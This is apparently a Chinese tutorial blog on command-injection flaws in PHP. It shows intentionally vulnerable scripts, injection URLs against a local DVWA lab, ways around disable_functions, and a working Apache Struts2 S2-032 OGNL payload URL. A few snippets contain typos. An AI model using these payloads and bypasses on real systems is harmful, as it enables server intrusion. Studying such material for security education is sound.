十大漏洞之命令执行

可以用`&&’,’||’,’|’,’&’等来执行其它命令。当输入的参数有双引号时,如果引号没有被转义,我们可以先闭合引号。当是单引号时,需要先闭合单引号才能执行。

什么叫做代码执行漏洞:

程序代码在处理输入输出的时候没有严格控制,导致用户可以构造参数包含执行远程代码在服务器上执行,进而获取服务器权限,发生在应用上的逻辑层的漏洞。

##一些基本命令执行的函数:

ob_start

<?php $cmd=”system”; ob_start($cmd);echo “$_GET[cunlide]”;ob_end_flush();?>

system

system(“$_GET[cunlide]”);

exec

echo exec(“$_GET[cunlide]”)

shell_exec

echo shell_exec(“$_GET(cunlide)”);

passthru

echo passthru(“$_GET[cunlide]”);

``

echo $_GET[cunlide];

除了上面的,还有很多函数可以执行命令。比如popen(),proc_open(),pcntl_exec()等函数。

基本的一些本地测试:

system()函数命令执行

<?php    
$dir=$_GET["dir"];
if(isset($dir))
{
    echo "<pre>";
    system("dir".$dir);
    echo "</pre>";
}
?>

攻击者:

http://192.168.16.133/DVWA-1.9/cmd.php?dir&&ipconfig

只是执行后面的
http://192.168.16.133/DVWA-1.9/cmd.php?dir=|netstat%20-an

执行了前面和后面的 
http://192.168.16.133/DVWA-1.9/cmd.php?dir=||netstat%20-an 

exec()函数命令执行

 <?php 
    $cmd=$_GET["cmd"];
    $output=array();
    echo "<pre>";
    exec($cmd,$output);
    echo "</pre>";
    while(list(key,$calue)=each($output))
    {
    echo $value."<br>";
    }

?>

攻击者:

http://192.168.16.133/DVWA-1.9/cmd.php?cmd=net user&ipconfig

passthru函数命令执行

<?php
$cmd=$_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>

攻击者:

http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=netstat -an|ipconfig

shell.exec()函数命令执行

<?php
$cmd=$_GET["cmd"];
echo "<pre>";
echo shell_exec($cmd);
echo "</pre>";
?>

攻击者:

http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=ipconfig||netstat -an

``运算符命令执行

<?php
$cmd=$_GET["cmd"];
$output=`$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";    
?>

攻击者:

http://192.168.16.133/DVWA-1.9/cmd2.php?cmd=ipconfig|netsta -an

popen()函数命令执行

<?php
popen('whoami>>C:/wamp/www/DVWA-1.9/2.txt','r');
?>

攻击者:(访问链接,就会创建一个文件,显示命令信息)

http://192.168.16.133/DVWA-1.9/cmd2.php

proc_open()函数命令执行

<?php  
$test = "ls /tmp/test";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  

$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?>  

不会使用,暂时没有做测试,懂得,可以发邮件联系我,相互学习

命令执行的绕过方法

修改配置文件

进制webshell执行命令原理

php 配置文件php.ini 里面disable_function=配置,这里是进制某些函数

紧着php的执行命令函数

disable_functions=system,exec,popen,passthru

黑名单绕过

php下执行系统命令的函数有哪些

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)

php.ini里面没有完全限制死,有漏掉的函数,

系统组件绕过

<?php
$command=$_POST[a];
$wsh=new COM('WScript.shell');
$exec=$wsh->exec('cmd.exe /c'.$command);
$stdout=$exec->stdOut();
$strout=$stdout->ReadALL();
echo $stroutput;
?>

不想让攻击者绕过组件,就删除掉wshom.ocx

拓展库绕过

php create_function()匿名函数,注入命令执行

<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function='return 1 *'.$sorter. '($a["'.$sort_by.'"],$b["'.$sort_by.'"]);';
usort($databases,create_function('$a,$b',$sort_function));
?>

DVWA案例分析:

DVWA低级命令执行:

源代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

分析源代码,发现,在传入ip以后,仅仅就做了一个过滤,

过滤是不是windows操作系统,然后直接带入操作,

进而导致攻击者拼接命令执行。

ping 127.0.0.1&net user
ping 127.0.0.1&&net user
ping 127.0.0.1|net user
ping 127.0.0.1||net user

DVWA中级命令执行:

源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比之下,比低级的稍微好点,但是我们仍然可以通过管道符,绕过过来,拼接命令

ping 127.0.0.1|net user
ping 127.0.0.1||net user

DVWA高级命令执行:

高级的,我感觉就不存在漏洞了,他过滤你是不是都是数字,然后.号分割四分,然后组合,感觉无法拼接命令执行。

现实中的案例:

Apache Struts 2 S2-032 远程命令执行漏洞

Apache Struts 2.3.18 ~ 2.3.28 之间版本(除了 2.3.20.2 与 2.3.24.2 版本)

http://d047ab33ccbe2dda8.jie.sangebaimao.com/struts2-showcase/filedownload/index.action?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23test%3D%23context.get%28%23parameters.res%5B0%5D%29.getWriter%28%29%2C%23test.println%28%23parameters.command%5B0%5D%29%2C%23test.flush%28%29%2C%23test.close&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=net user